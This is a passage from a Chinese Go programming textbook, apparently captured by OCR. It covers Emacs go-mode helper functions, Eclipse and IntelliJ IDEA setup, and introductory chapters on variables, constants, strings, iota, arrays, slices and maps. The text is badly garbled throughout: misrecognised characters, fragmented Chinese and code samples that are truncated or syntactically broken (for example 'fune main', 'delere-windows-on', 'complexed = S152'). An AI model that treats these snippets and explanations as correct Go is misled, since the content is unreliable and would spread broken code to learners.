1l-set-key "\M-e" ‘outline-next-visible-heading) 
Menu bar 
(require 'easymenu) 

















(defconst go-hooked-menu 
"("Go tools" 
("go run buffer" go t] 
("Go reformat buffer" go-fmt-buffer 
["Go check buffer" go-fix-buffer t))) 
(easy-menu-define 
go-added-menu 
(current-local-map) 
"Go tools" 
go-hooked-menu) 





ii Other 
show-trailing-whitespace t) 





š; helper function 
(defun go O 

"run current buffer" 
ve) 
(compile (concat 





(interact: 





go run " (buffer-file-name)))) 
š; helper function 
(defun go-fmt-buffer () 
"run gofmt on current buffer" 
(interactive) 
G£ buffer-read-only 
(progn 
(ding) 
(message "Buffer is read only")) 
(ip (line-number-at-pos)) 
(filename (buffer-file-name)) 
(old-max-mini-window-height max-mini-window-height)) 











(show-all) 
GE (get-buffer "*Go Reformat Errors*") 
(progn 


(delere-windows-on "*Go Reformat Errors*") 
(kill-buffer "*Go Reformat Errors*"))) 
(seta max-mini-window-height 1) 
Gt (= 0 (sheli-command-on-region (point-min) (point-max) "gofmt" 
"*co Reformat Output*" nil "*Go Reformat Brrors*" t)) 

(progn 
(erase-buffer) 
(insert-buffer-substring "*Go Reformat Output*") 
(goto-char (point-min)) 
(forward-line (1- p))) 

(with-current-buffer "*Go Reformat Errors*" 

(progn 
(goto-char (point-min)) 
(while (re-search 
(replace-match filename} ) 
(goto-char (point-min)) 
(compilation-mode) ))) 
(setq max-mini-window-height old-max-mini-window-height) 
(delete-windows-on "*Go Reformat output*") 
(kill-buffer "*Go Reformat output*")1)1 

i; helper function 
(defun go-fix-buffer () 

"run gofix on current buffer" 

(interactive) 

(show-all) 

(shell -cemmand-on-region (point-min) (point-max) 





ward "<standard input>" nil t) 


o tool fix -dit=")) 





se 恭喜 你 ， 你 现在 可 以 体验 在 神器 中 开发 Go 语言 的 乐趣 。 默 认 
speedbar 是 关闭 的 ， 如 果 打开 需要 把 ;; (speedbar 1) 前 面 的 注释 去 掉 ， 或 
者 也 可 以 通过 M-x speedbar 手 动 开 启 。 





Eclipse 


Eclipse 也 是 常用 的 开发 利器 ， 下 面 介 绍 如 何 使 用 Eclipse 来 编写 Go 语 
言 程序 ， 其 主 界面 如 图 1.11 所 示 。 
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1. 首先 下 载 并 安装 好 Eclipse 
2. 下 载 goeclipse 插 件 
Chttp://code.google.com/p/goclipse/wiki/InstallationInstructions ) 


3. 下 载 gocode， 用 于 go 的 代码 补 全 提示 
gocode 的 github 地 址 如 下 。 


https://githul 
在 Windows1i 


go get -u git 


b.com/nsf/gocode 
下 要 安装 git， 通 常用 msysgit， 再 在 cmd 下 安装 。 


hub. com/nsf/gocode 


tel DL PRES, 直接 用 go build 来 编译 ， 生 成 gocode.exe。 





下 载 MinGW 并 按 要 求 装 好 
配置 插件 


Windows->Reference->Go 


(1) EHG 
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o 语 言 的 编译 器 ， 其 基础 信息 如 图 1.12 所 示 。 
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图 1.12 设置 Go 语言 的 一 些 基础 信息 


(2) 配置 Gocode (可 选 ， 代 码 补 全 ) ， 设 置 Gocode 路 径 为 之 前 生 
成 的 gocode.exe 文 件 ， 如 图 1.13 所 示 。 





Gocode 
Gocode 
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(Go start manusly: gocode -s -sock=tep) 





Gocede path: C\Ge\bin\gacode exe 
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> wer 

> WindewBulder 
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图 1.13 设置 gocode 信 息 


(3) 配置 GDB (可 选 ， 做 调试 用 ) ， 设 置 GDB 路 径 为 MingW 安 装 
目录 下 的 gdb.exe 文 件 ， 如 图 1.14 所 示 。 
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= XML 





[Restore Defaults] 





图 1.14 设置 GDB 信 息 


6. 测试 是 否 成 功 
新 建 一 个 Go 语言 工程 ， 再 建立 一 个 hello.go， 如 图 1.15 所 示 。 








图 115 新建 项 目 编辑 文件 
在 console 中 用 输入 命令 调试 ， 如 图 1.16 所 示 。 
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图 1.16 ”调试 Go 语言 程序 
IntelliJ IDEA 


熟悉 Java 语 言 的 读者 应 该 对 IDEA 不 陌生 ，IDEA 是 通过 一 个 插件 来 
支持 Go 语言 的 高 亮 语法 、 代 码 提示 和 重 构 实 现 。 

1， 先 下 载 IDEA， 其 主 界面 如 图 1.17 所 示 ，IDEA 支 持 多 平台 : 
Win、Mac 和 Linux， 有 正式 版 和 社区 免费 版 可 使 用 ， 对 于 只 是 开发 Go 语 
言 来 说 社区 免费 版 足够 用 。 
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图 L17 IDEA 主 界面 


2. 安装 Go 语言 插件 ， 单 击 菜单 File 中 的 Setting， 找 到 Plugins， 单 击 
Broswer repo 按 钮 。 由 于 网 络 原因 ， 用 户 可 能 需要 一 定 的 技术 手段 才能 
安装 ， 其 插件 管理 器 如 图 1.18 所 示 。 








图 1.18 IDEA 插 件 管理 器 


3. 这 时 候 会 看 见 很 多 插件 ， 搜 索 找到 Golang， 双 击 ， 下 载 并 安 
a oleoa Ar EA Downloaded, 单 击 OK 按钮 ， 如 
1.19 所 示 。 
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图 1.19 Go 语言 插件 


IRE A Apply 这 时 候 IDE 会 要 求 你 重启 。 
芷 启 完 毕 后 ， 创 建新 项 目 会 发 现 已 经 可 以 创建 golang 项 目 ， 如 


图 1. aon 
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图 120 IDEA 新 建 Goi 


下 一 步 ， 会 要 求 你 输入 go sdk 的 位 置 ， 一 般 都 安装 在 CN\Go，Linux 
Mac 根据 自己 的 安装 目录 设置 ， 选 中 目录 确定 ， 就 可 以 了 。 








15 总 结 






本 章 主 要 介绍 了 如 何 安装 Go ii A 

装 : 源码 安装 、 标 准 包 安装 和 第 装 之 后 需要 配置 我 们 
的 开发 环境 ， 然 后 设置 本 地 的 `$GOPATH'， 通 过 设置 -$GOPATH`， 读 
者 就 可 以 创建 项 目 ， 接 着 介绍 了 如 何 来 进行 项 目 编译 、 应 用 安装 等 问 
题 ， 这 些 需要 用 到 很 多 Go 语言 命令 ， 所 以 紧 接 着 介绍 了 一 些 Go 语 言 的 
常用 命令 工具 ， 包 括 编译 、 安 装 、 格 式 化 和 测试 等 命令 ， 最 后 介绍 了 
Go 语言 的 开发 工具 ， 目 前 有 很 多 Go 语言 的 开发 工具 : LiteIDE、 
Sublime、VIM、Emacs、Eclipse 和 IDEA 等 工具 ， 读 者 可 以 根据 自己 熟 
悉 的 工具 进行 配置 ， 希 望 能 够 通过 方便 的 工具 快速 开发 Go 语言 应 用 。 








注释 
DRA 


下 是 Go 语言 安装 目录 。 以 笔者 的 工作 目录 为 例 进行 说 明 ， 请 蔡 换 自己 机 器 上 的 工作 目 
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第 2 章 ” Go 语言 基础 


Go 语言 是 一 门类 似 C 语 言 的 编译 型 语言 ， 它 的 编译 速度 非常 快 。 这 
门 语言 的 关键 字 一 共 25 个 ， 比 所 有 英文 字母 还 少 一 个 ， 这 对 于 我 们 的 学 
习 来 说 非常 有 利 。 先 让 我 们 看 一 看 这 些 关键 字 都 长 什么 样 。 


break default func interface select 
case defer go map struct 
chan else goto package switch 
const fallthrough if range type 
continue for import return var 


本 章 中 ， 笔 者 将 带领 你 去 学 习 Go 语言 的 基础 。 通 过 每 一 小 节 的 介 

绍 ， 你 将 发 现 ，Go 语 言 的 世界 是 多 么 简洁 ， 设 计 是 如 此 美妙 ， 编 写 Go 

ea 等 回 过 头 来 ， 你 就 会 发 现 这 25 个 关键 字 是 
么 亲切 。 





2.1 你 好 ，Go 


在 开始 编写 应 用 之 前 ， 我 们 先 从 最 基本 的 程序 开始 。 就 像 你 造 房子 
之 前 不 知道 什么 是 地 基 一 样 ， 编 写 程序 也 不 知道 如 何 开始 。 因 此 ， 在 本 
节 中 ， 我 们 要 学 习 用 最 基本 的 语法 让 Go 语言 程序 运行 起 来 。 


程序 


这 就 像 一 个 传统 ， 在 学 习 大 部 分 语言 之 前 ， 你 先 学 会 如 何 编写 一 个 
可 以 输出 Hello World 的 程序 。 

准备 好 了 吗 ? 让 我 们 开始 吧 ! 

packa main 


import "fmt" 


func main() 【 
fnt.Printf("Hello, world or 你 好 ,世界 or kaani ‘pa x6oh or SAE BH 
世界 \n") 


给 出 如 下 。 


Hello, world or 你 好 ,世界 or xoAny “pa xéop or ZA th CULE 


首先 我 们 要 了 解 一 个 概念 ，Go 语 言 程序 是 通过 package 来 组 织 的 。 

package <pkgName> 〈 在 我 们 的 例子 中 是 package main) 这 一 行 告 
我 们 当前 文件 属于 哪个 包 ， 而 包 名 main 则 告诉 我 们 它 是 一 个 可 独立 运行 
的 包 ， 它 在 编译 后 会 产生 可 执行 文件 。 除 了 main 包 之 外 ， 其 他 的 包 最 后 
都 会 生成 *.a 文 件 〈 也 就 是 包 文件 ) ， 并 放置 在 
$GOPATH/pkg/$GOOS_$GOARCH 中 《〈 以 Mac 为 例 就 是 
$GOPATH/pkg/darwin_amd64) 。 

每 一 个 可 独立 运行 的 Go 语言 程序 ， 必 定 包 含 一 个 package main， 在 
这 个 main 包 中 必定 包含 一 个 入 口 函数 main， 而 这 个 函数 既 没 有 参数 ， 也 
没有 返回 值 。 

为 了 打印 Hello，World...， 我 们 调用 了 一 个 函数 Printff， 这 个 函数 来 
自 于 fmt 包 ， 所 以 我 们 在 第 三 行 中 导入 了 系统 级 别 的 fmt 包 : import 
"fmt". 

包 的 概念 和 Python 中 的 module 相 同 ， 它 们 都 有 一 些 特别 的 好 处 : 模 
块 化 《能够 把 程序 分 成 多 个 模块 ) 和 可 重用 性 〈 每 个 模块 都 能 被 其 他 应 
用 程序 反复 使 用 ) 。 我 们 在 这 里 只 是 先 了 解 一 下 包 的 概念 ， 后 面 我 们 将 
会 编写 自己 的 包 。 

在 第 五 行 ， 我 们 通过 关键 字 func 定 义 了 一 个 main 函 数 ， 函 数 体 被 放 
在 {} 中 ， 就 像 我 们 平时 写 C、C++ 或 Java 时 一 样 。 大 家 可 以 看 到 main 函 数 
是 没有 任何 参数 的 ， 我 们 接 下 来 就 学 习 如 何 编写 带 参 数 的 、 返 回 0 个 或 
多 个 值 的 函数 。 

六 行 ， 我 们 调用 了 fmt 包 里 面 定义 的 函数 Printf。 大 家 可 以 看 到 ， 
这 个 函数 通过 <pkgName>.<funcName> 的 方式 调用 ， 这 一 点 和 Python 十 
分 相似 。 

前 面 提 到 过 ， 包 名 和 包 所 在 的 文件 夹 名 可 以 是 不 同 的 ， 此 处 的 
<pkgName> 即 为 通过 package <pkgName> 声 明 的 包 名 ， 而 非 文 件 夹 名 。 

最 后 大 家 可 以 看 到 我 们 输出 的 内 容 里 面包 含 了 很 多 非 ASCII 码 字 
符 。 实 际 上 ，Go 语 言 是 天 生 支持 UTF-8 的 ， 任 何 字符 都 可 以 直接 输出 ， 
你 甚至 可 以 用 UTF-8 中 的 任何 字符 作为 标识 符 。 


















小 结 


Go 语言 使 用 package (和 Python 的 模块 类 似 ) 来 组 织 代码 。 
main.main() 函 数 〈 这 个 函数 主要 位 于 主 包 ) 是 每 一 个 独立 的 可 运行 程序 
的 入 口 点 。Go 语 言 使 用 UTF-8 字 符 串 和 标识 符 〔 因 为 UTF-8 的 发 明 者 也 
就 是 Go 语言 的 发 明 者 ) ， 所 以 它 天 生 就 具有 多 语言 的 支持 。 


2.2 ”Go 语言 基础 


本 节 将 介绍 如 何 定义 变量 、 常 量 、Go 语 言 内 置 类 型 及 Go 语言 程序 
设计 中 的 一 些 技巧 。 


定义 变量 


Go 语言 里 面 定义 变量 有 多 种 方式 。 

使 用 var 关 键 字 是 Go 语言 最 基本 的 定义 变量 方式 ， 与 C 语 言 不 同 的 是 
Go 语言 把 变量 类 型 放 在 变量 名 后 面 ， 如 下 所 示 。 

/定义 一 个 名 称 为 "variableName"， 类 型 为 "type" 的 变量 

var variableName type 


定义 多 个 变量 






/7 定义 三 个 类 型 都 是 "cypev 的 三 个 变 时 
var vnamel, yname?, vname3 type 
定义 变量 并 初始 化 值 。 


变量 为 "value” 值 ， 类 型 是 type” 


value 





定义 三 个 类 型 都 是 "type" 的 三 个 变量 , 并 且 它 们 分 别 初始 化 相应 的 值 
vnamel 为 v1，vname2 为 v2，vname3 为 v3 

ae vnamel, vname2, vname3 type= vl, v2, 

你 是 不 是 觉得 上 面 这 样 的 定义 有 KEME 没关系 ， 因 为 Go 语言 的 
设计 者 也 发 现 了 ， 有 一 种 写法 可 以 让 它 变 得 简单 一 点 。 我 们 可 以 直接 名 
略 类 型 声明 ， 那 么 上 面 的 代码 变 成 如 下 所 示 。 

ee 


定义 三 个 变量 ， 它 们 分 别 初始 化 相应 的 值 
vaamel 为 v1，vname2 为 v2，vname3 为 v3 
然后 Go 会 根据 其 相应 值 的 类 型 来 帮 你 初始 化 它们 
*/ 
var vnamel, vname2, vname3 = v1 


SRA EIKE EAS SB? ‘gt 让 我 们 继续 简化 


ia 
定义 三 个 变量 ， 它 们 分 别 初始 化 相应 的 值 
vnamsl 为 v1，vnams2 为 v2，vname3 为 v3 


编译 器 会 根据 初始 化 的 值 自动 推导 出 相应 的 类 型 





*/ 







namel, vname2, vname3 ;= 


MERARBETE :=” 这 个 符号 直接 取代 了 var 和 
type， 这 种 形式 叫做 简短 声明 。 不 过 它 有 一 个 限制 ， 那 就 是 它 只 能 用 在 
函数 内 部 ， 在 函数 外 部 使 用 则 会 无 法 编译 通过 ， 所 以 一 般 用 var 方 式 来 
定义 全 局 变量 。 

CFR) 是 个 特殊 的 变量 名 ， 任 何 赋予 它 的 值 都 会 被 丢弃 。 在 
这 个 例子 中 ， 我 们 将 值 35 赋 予 b， 并 同时 丢弃 34。 


蕊 o 语 言 对 于 己 声 明 但 未 使 用 的 变量 会 在 编译 阶段 报错 ， 比 如 下 面 
的 代码 就 会 产生 一 个 错误 ， 声 明了 i 但 未 使 用 。 


package main 





fune main() { 
var i int 


} 


ba 


Hi 


所 谓 常量 ， 也 就 是 在 程序 编译 阶段 就 确定 下 来 的 值 ， 而 程序 在 运行 
时 则 无 法 改变 该 值 。 在 Go 语言 程序 中 ， 常 量 可 定义 为 数值 、 布 尔 值 或 
字符 串 等 类 型 。 

它 的 语法 如 下 。 

const constantName = value 

77 如 果 需 要 ， 也 可 以 明确 指定 常量 的 类 型 ; 

const Pi float32 = 3.1415926 

以 下 是 一 些 常量 声明 的 例子 。 

const Pi = 3.1415926 

const i = 10000 

const MaxThread = 10 

const prefix = "astaxie_" 


内 置 基础 类 型 








Boolean 


在 Go 语言 中 ， 布 尔 值 的 类 型 为 bool， 值 是 true 或 false， 默 认为 


false. 
ADRAR 
var isActive bool // 全 局 变量 声明 
var enabled, disabled = true, false // 忽略 类 型 的 声明 
func test() { 
var available bool // 一 般 声明 





valid := false 11 简短 声明 
available = true // 赋值 操 作 

3 

数值 类 型 


整数 类 型 有 无 符号 和 带 符号 两 种 。Go 语 言 同 时 支持 int 和 uint， 这 两 
种 类 型 的 长 度 相同 ， 但 具体 长 度 取决 于 不 同 编译 器 的 实现 。 当 前 的 gcc 
和 gccgo 编 译 器 在 32 位 和 64 位 平台 上 都 使 用 32 位 来 表示 int 和 uint， 但 未 来 
在 64 位 平台 上 可 能 增加 到 64 位 。Go 语 言 里 面 也 有 直接 定义 好 位 数 的 类 
型 : rune，int8，int16，int32，int64 和 byte，uint8，uint16，uint32， 
中 rune 是 int32 的 别称 ，byte 是 uint8 的 别称 。 

需 意 的 一 点 是 ， 这 些 类 型 的 变量 之 间 不 允许 互相 赋值 或 操作 ， 
不 然 会 在 编译 时 引起 编译 器 报错 。 
例如 ， 以 下 代码 会 产生 错误 。 


var a int8 
var b int32 


另外 ， 尽 管 int 的 长 度 是 32 bit， 但 int 与 int32 并 不 可 以 互 用 。 

浮 点 数 的 类 型 有 float32 和 float64 两 种 〈 没 有 float 类 型 ) ， 默 认 是 
float64。 

这 就 是 全 部 吗 ? 不 止 ，Go 语 言 还 支持 复数 。 它 的 默认 类 型 是 
complex128(64 位 实数 十 64 位 虚数 ) 。 如 果 需 要 小 一 些 的 ， 也 有 
complex64 (32 位 实数 十 32 位 虚数 ) 。 复 数 的 形式 为 RE 十 IMi， 其 中 RE 
是 实数 部 分 ，IM 是 虚数 部 分 ， 而 最 后 的 是 虚数 单位 。 下 面 是 一 个 使 用 
复数 的 例子 。 

var c complexed = S152 

/foutputs (5+5i) 

fmt.Printf ("Value is: įv", c) 

字符 串 

我 们 在 上 一 节 中 讲 过 ，Go 语 言 中 的 字符 串 都 是 采用 UTF-8 字 符 集 编 
码 。 字 符 串 是 用 一 对 双 引 号 ("") 或 反 引 号 CO 括 起 来 定义 ， 它 的 类 
型 是 string。 





/7 示例 代码 
var frenchHello string // 声明 变量 为 字符 叫 的 一 般 方法 
var emptyString string = "" // 声明 了 一 个 字符 串 变 量 ， 初 始 化 为 空 字符 吊 


fune test() { 












no, yes, maybe := "no", "yes", "maybe" // 简短 声明 ， 同 时 声明 多 个 变量 
japanesetello Ohaion" // 同上 


frenchHello = "Bonjour" // 常规 赋值 


“在 Go 语言 中 字符 串 是 不 可 变 的 ， 例如 ， 以 下 代码 编译 时 会 报错 。 

vars 1am = "hello" 

s{0] 

(ET MB so 办 ? 下 面 的 代码 可 以 实现 。 
"hello" 

(byte(s) // 将 字符 中 s 转换 为 []byte 类 型 





c 
c[0] 
s2 i= string(c) // saa string 类 型 
fmt. Printf (" Ss\n" 


coinn a “pol I+ RE AREF 





fmt.Print£("%s\n", a) 
OLS Tee) 与 为 


hello" 
ERS eke 能 更 改 ， 但 可 进行 切片 操作 
fmt ,Printf ("%s\n" 


如 果 要 声明 一 处 多 三 的 字符 串 怎么 办 可 以 通过 “ "来 声明 。 


m := ‘hello 


<" 轿 赴 的 字符 申 为 Raw 字 符 串 ， 即 字符 申 在 代码 中 的 形式 就 是 打印 
MAR, RE. Arte AP 
ae 


Go 语言 内 置 有 一 个 error 类 型 ， 专 门 用 来 处 理 错误 信息 ，Go 语 言 的 
package 里 面 还 专门 有 一 个 包 errors 来 处 理 错误 。 
err := errors.New("emit macho dwarf: elf header corrupted") 
if err != nil [ 
fmt. Print (err) 


Go 语言 言 数据 底层 的 存储 

图 2.1 来 源 于 Russ Cox Blog (http://research.swtch.com/godata) 中 一 
篇 介绍 Go 语言 数据 结构 的 文章 ， 大 家 可 以 看 到 这 些 基础 类 型 底层 都 是 
分 配 了 一 块 内 存 ， 然 后 存储 了 相应 的 值 。 








1 byte 


i := 1234 //type: int 


j := int32(1) //type: int32 


f := float32(3.14) //type: float32 


bytes := [S]byte{'h',‘e','1','1','0'} //type:[5]byte 


primes :=[4]int{2,3,5,7} //type: [4]int 


图 2.1 Go 语言 数据 格式 的 存储 
一 些 技巧 


分 组 声明 

在 Go 语言 中 ， 同 时 声明 多 个 常量 、 变 量 ， 或 者 导入 多 个 包 时 ， 可 
采用 分 组 的 方式 进行 声明 。 

例如 下 面 的 代码 。 


import "fme" 
import "os" 


const i = 100 
const pi = 3.1415 
const prefix = "Go_" 


var i int 
var pi float32 
var prefix string 


oa 写成 如 下 形式 。 





i = 100 
pi = 3.1415 
prefix = "Go" 

) 

war ( 


pi Eloat32 
prefix string 


) 

除非 被 显 式 设置 为 其 他 值 或 iota， 每 个 const 分 组 的 第 一 个 常量 被 默 
认 设 置 为 它 的 0 值 ， 第 二 及 后 续 的 常量 被 默认 设置 为 它 前 面 那个 常量 的 
值 ， 如 果 前 面 那个 常量 的 值 是 iota， 则 它 也 被 设置 为 iota。 

iota 枚 举 

Go 语言 里 面 有 一 个 关键 字 iota， 这 个 关键 字 用 来 声明 enum 的 时 候 采 
用 ， 它 默认 开始 值 是 0(， 每 调用 一 次 加 1。 


const1 
x = iota // 








明 省 咯 值 时 ， 默 认 和 之 前 一 个 值 的 字面 相同 。 这 里 陷 式 地 说 w = iota, F 
d EI y Mz 可 同样 不 用 "~ iota" 


iota // 每 明 到 一 个 const KE, iota HAM, Wv == 0 
TAF 的 一 些 规则 

吉 ， 是 因为 它 有 一 些 默认 的 行为 。 

的 变量 是 可 导出 的 ， 即 其 他 包 可 以 读 取 ， 是 公用 








e 大写 字母 开头 的 函数 也 是 一 样 ， 相 当 于 class 中 带 public 关 键 词 的 
公有 函数 ， 小 写字 母 开 头 就 是 有 private 关 键 词 的 私有 函数 。 





array, slice, map 


array 

array 就 是 数组 ， 它 的 定义 方式 如 下 。 

var arr [n]type 

在 mnjtyperh，n 表 示 数 组 的 长 度 ，type 表 示 存 储 元 素 的 类 型 。 对 数组 
的 操作 和 其 他 语言 类 似 ， 都 是 通过 [] 来 进行 读 取 或 赋值 。 

var arr [10]int // 声明 了 一 个 int 类 型 的 数组 

arr[0] = 42 11 数组 下 标 是 从 0 开始 的 

arr{1] = 13 77 赋值 操作 

fmt.Print£("The first element is %d\n", arr[0]) // 获取 数据 ,返回 42 

fmt.Print£("The last element is td\n", arr[9]) // 返 回 未 赋值 的 最 后 一 个 元 素 ， 
默认 返回 0 

由 于 长 度 也 是 数组 类 型 的 一 部 分 ， 因 此 [3]int 与 [4]int 是 不 同 的 类 
型 ， 数 组 也 就 不 能 改变 长 度 。 数 组 之 间 的 赋值 是 值 的 赋值 ， 即 当 把 一 个 
数组 作为 参数 传 入 函数 的 时 候 ， 传 入 的 其 实 是 该 数组 的 副本 ， 而 不 是 它 
的 指针 。 如 果 要 使 用 指针 ， 那 么 就 需要 用 到 后 面 介绍 的 slice 类 型 了 。 

数组 可 以 使 用 另 一 种 := 来 声明 。 

a := [3]int{1, 2, 3} // 声明 了 一 个 长 度 为 3 的 int 数组 





b := [10]int{1, 2, 3} // 声明 了 一 个 长 度 为 10 的 int 数组 ， 其 中 前 三 个 元 素 初始 化 为 
1、2、3， 其 他 默认 为 0 


crs 


cee lint{d, 5, 6) // 可 以 省 略 长 度 而 采用 `. - HHR, Go 语言 会 自动 根据 元 素 


数 来 计算 长 度 

也 许 你 会 说 ， 我 想 数 组 里 面 的 值 还 是 数组 ， 能 实现 吗 ?当然 ，Go 
语言 支持 柑 套 数组 ， 即 多 维 数组 。 比 如 下 面 的 代码 就 声明 了 一 个 二 维 数 
组 。 
77 声明 了 一 个 二 维 数 组 ,该 数组 以 两 个 数组 作为 元 素 , 其 中 每 个 数组 中 又 有 4 个 int 类 型 的 元 素 
doubleArray := [2] [4]int{[4]int{1, 2, 3, 4}, [4]int{5, 6, 7, 8)} 





个 





LA 如 果 内 部 的 元 素 和 外 部 的 一 样 ， 那 么 上 面 的 声明 可 以 简化 ， 直 接 忽略 内 部 的 类 型 
easyArray := (2][4]int{(1, 2, 3, 4}, (5, 6, 7, 81) 


数组 的 分 配 如 图 2.2 所 示 。 


A[e][9] 


- —) 
A[1][3] 


图 2.2 多 维 数组 的 映射 关系 
slice 
在 很 多 应 用 场景 中 ， 数 组 并 不 能 满足 我 们 的 需求 。 在 初始 定义 数组 


时 ， 我 们 并 不 知道 需要 多 大 的 数组 ， 因 此 我 们 就 需要 “动态 数组 ”。 ey 
语言 言 里 面 这 种 数据 结构 叫 slice。slice 并 不 是 真正 意义 上 的 动态 数组 ， 而 








一 个 引用 类 型 。slice 总 是 指向 一 个 底层 array，slice 的 声明 也 可 以 像 
nye 样 ， 只 是 不 需要 长 度 。 
H HM aeons a 只 是 少 了 长 度 


fslice 


ae ate 个 slice， 并 初始 化 数据 ， 如 下 所 示 。 


slice := []byte ("a Bei ene 
slice mf AM NRA A EATEN HUF]. slice 
aray[ij] 来 获取 ， 其 中 十 数组 的 开始 位 置 ，j 是 结束 位 置 ， 但 不 包含 
array[j]j， 它 的 长 度 是 j 
77 声明 一 个 含有 10 个 : Rca a eee 的 数组 
var ar = [10]byte {'a' “hr TEN ta, ery MES, gh TA TE gD 








77 声明 两 个 含有 byre 的 slice 
var a, b []byte 


/4/ a F(a BEANS 3 个 元 素 开始 ， 并 到 第 五 个 元 素 结束 
a = ar[2:5] 
JNA a SAAR: arf21、ar[3] 和 arf[4] 


// b 是 数组 ar 的 另 一 个 slice 


b = ar[3:5] 
41 b 的 元 素 是 : ar[3] 和 ar[4] 


HE: slice 和 数组 在 声明 数组 时 ， 方 括号 内 写 明了 数组 的 长 度 或 使 
用 .… 自 动 计算 长 度 ， 而 声明 slice 时 ， 方 括号 内 没有 任何 字符 。 


它们 的 数据 结构 如 图 2.3 所 示 。 





图 2.3 slice 和 array 的 对 应 关系 图 


slice 有 一 些 简 便 的 操作 。 

eslice 的 默认 开始 位 置 是 0，ar[:n] 等 价 于 ar[0:n] 

eslice 的 第 二 个 序列 默认 是 数组 的 长 度 ，ar[n:] 等 价 于 ar[n:len(an] 

e ”如 果 从 一 个 数组 里 面 直接 获取 slice， 可 以 这 样 ar[:]， 因 为 默认 第 
一 个 序列 是 9， 第 二 个 是 数组 的 长 度 ， 即 等 价 于 ar[0:len(ar)]。 

下 面 这 个 例子 展示 了 更 多 关于 slice 的 操作 。 

/7 声明 一 个 数组 

var array = [10]byte{‘a', *b‘, ‘ct, *d', *e*, *£', ‘g", tht, *2%, 74%} 

7/ 声明 两 个 slice 

var aSlice, bSlice [lbyte 





// 演示 一 些 简便 操作 

aSlice = array[:3] // 等 价 于 aslice = array(0:3] aSlice 包含 ; 
aSlice = array[5:] // 等 价 于 aslice = array[5:10] aSlice AALE: f,g,h,1,j 
aSlice = array[:] // 等 价 于 aslice = array[0:10] 这 样 aslice 包含 了 个 部 的 元 素 





7/ M slice HARM slice 

aSlice = array[3:7] // aSlice 人 包 全 元素; d,e,£,g, len=4, 
Slice = aSlice[1:3] // bSlice fl#aslice[1], aslice[2] 也 
bSlice = aSlice[:3] // bSlice (f aSlice[0], aSlice[1], aSlice[2] 也 就 





是 含有 : die, f 

bSlice = aSlice[0:5] // 对 slice 的 slice 可 以 在 cap 范围 内 扩展 , 此 时 bslice 包 
会 : dvey fygyh 

bslice = asl bSlice 包含 所 有 aSlice 的 元 素 : 


icek HOU, pA aT RoE Hh se Rtn, KENNA 
用 都 会 改变 该 值 ， 例 如 上 面 的 aSlice 和 bSlice， 如 果 修改 了 aSlice 中 元 素 
的 值 ， 那 么 bslice 相 对 应 的 值 也 会 改变 。 


从 概念 上 面 来 说 slice 像 一 个 结构 体 ， 这 个 结构 体 包含 了 三 个 元 素 。 
。 一 个 指针 ， 指 向 数组 中 slice 指 定 的 开始 位 置 。 

e 长度， 即 slice 的 长 度 。 
。 最 大 长 度 ， 也 就 是 sli 开始 位 置 到 数组 的 最 后 位 置 的 长 度 。 
Array_a [10] byte{'a’ BY, te". Grok OV Sake” BUS Ne et 
Slice_a Ti 


EREI KIE ee Bes HUD. ata 















cap == 8 
scan — c |a |e | 
Array_a [alo claJe]#le]n]ili] 
图 2.4 slice 对 应 数组 的 信息 
对 于 slice 有 几 个 有 用 的 内 置 函 数 。 


e。 len 获取 slice 的 长 度 

© cap 获 取 slice 的 最 大 容量 

e append 各 slice 里 面 追 加 一 个 或 者 多 个 元 素 ， 然 后 返回 一 个 和 slice 
一 样 类 型 的 slice 

. copy FE copy A islicekijsre"h SZ fil 03k FI H fridst, 并 且 返 回复 
制 的 元 素 的 


的 个 数 
iE: append 函 数 会 改变 slice 所 引用 的 吉 内 容 ， 从 而 影响 到 引用 
一 数组 的 其 他 slice。 但 当 sli N 司 〈 即 (cap-len) == 0) 
时 ， 此 时 将 动态 分 配 新 的 返回 的 slice 数 组 指针 将 指向 这 个 空 
间 ， 而 原 数组 的 内 容 将 保持 不 变 ; ESEA eA S 影响 。 












map 

map 也 就 是 Python 中 字典 的 概念 ， 它 的 格式 为 
map[keyType]valueType. 

我 们 看 下 面 的 代码 ，map 的 读 取 和 设置 也 类 似 slice 一 样 ， 通 过 key 来 
操作 ， 只 是 slice 的 index 只 能 是 “int "类 型 ， 而 map 多 了 很 多 类 型 ， 可 以 


是 int， 可 以 是 string 及 所 有 完全 定义 了 == 与 := 操作 的 类 型 。 


{fle 


77 声明 一 个 key EFRR, MA int 的 字典 , 这 种 方式 的 声明 需要 在 使 用 之 前 使 用 make 初始 化 
var numbers map[string] int 
I 的 声明 方式 


ke (map[string]int) 









PIL: ", numbers["three"]) // 读 取 数 据 
:个 数字 是 ; 3 
我 们 平常 看 到 的 表格 一 样 ， 左 边 列 是 key， 右 边 列 是 


使 用 map 过 程 中 需要 注意 以 下 几 点 。 
。 map 是 无 序 的 ， 每 次 打印 出 来 的 map 都 会 不 一 样 ， 它 不 能 通过 





K 
这 个 map 就 


index 获 取 ， 而 必须 通过 key 获 取 。 


型 。 


。 map 的 长 度 是 不 固定 的 ， 也 就 是 和 slice 一 样 ， 也 是 一 种 引用 类 


。 内 置 的 len 函 数 同样 适用 于 map， 返 回 map 拥 有 的 key 的 数量 。 
e ”map 的 值 可 以 很 方便 地 修改 ， 通 过 numbers["one"]=11 可 以 很 容 


易 地 把 key 为 one 的 字典 值 改 为 11。 


map 的 初始 化 可 以 通过 key:val 的 方式 初始 化 值 ， 同 时 map 内 置 有 判 


断 是 否 存在 key 的 方式 ， 通 过 delete 删 除 map 的 元 素 。 


/77 初始 化 一 个 字典 
rating := map[string]float32 ("C":5, “Go":4.5, "Python™:4.5, "C++":2 } 
/ {map 有 两 个 返回 值 ， 第 二 个 返回 值 ， 如 果 不 存 在 key, 那么 ok 为 false， 如 果 存 在 ok X true 
esharpRating, ok := rating ["C4"] 
if ok { 
fmt.Printin("C# is in the map and its rating is ", csharpRating) 
} else į 
fmt.Println("We have no rating associated with C# in the map") 
} 


delete (rating，"C") _// 删除 key 为 C 的 元 素 

上 文 说 过 ，map 也 是 一 种 引用 类 型 ， 如 果 两 个 map 同 时 指向 一 个 底 
那么 一 个 改变 ， 另 一 个 也 相应 改变 。 

m := make (map[string]string) 

mI"Hello"] = "Bonjour" 

ml =m 

ml["Hello"] = "Salut" // 现在 m["hello"] 的 信 已 经 是 Salut 了 
make、new 操 作 


make 用 于 内 建 类 型 (map、slice 和 channel) 的 内 存 分 配 。new 用 于 


各 种 类 型 的 内 存 分 配 。 


内 建 函数 new 本 质 上 说 跟 其 他 语言 中 的 同名 函数 功能 一 样 : 
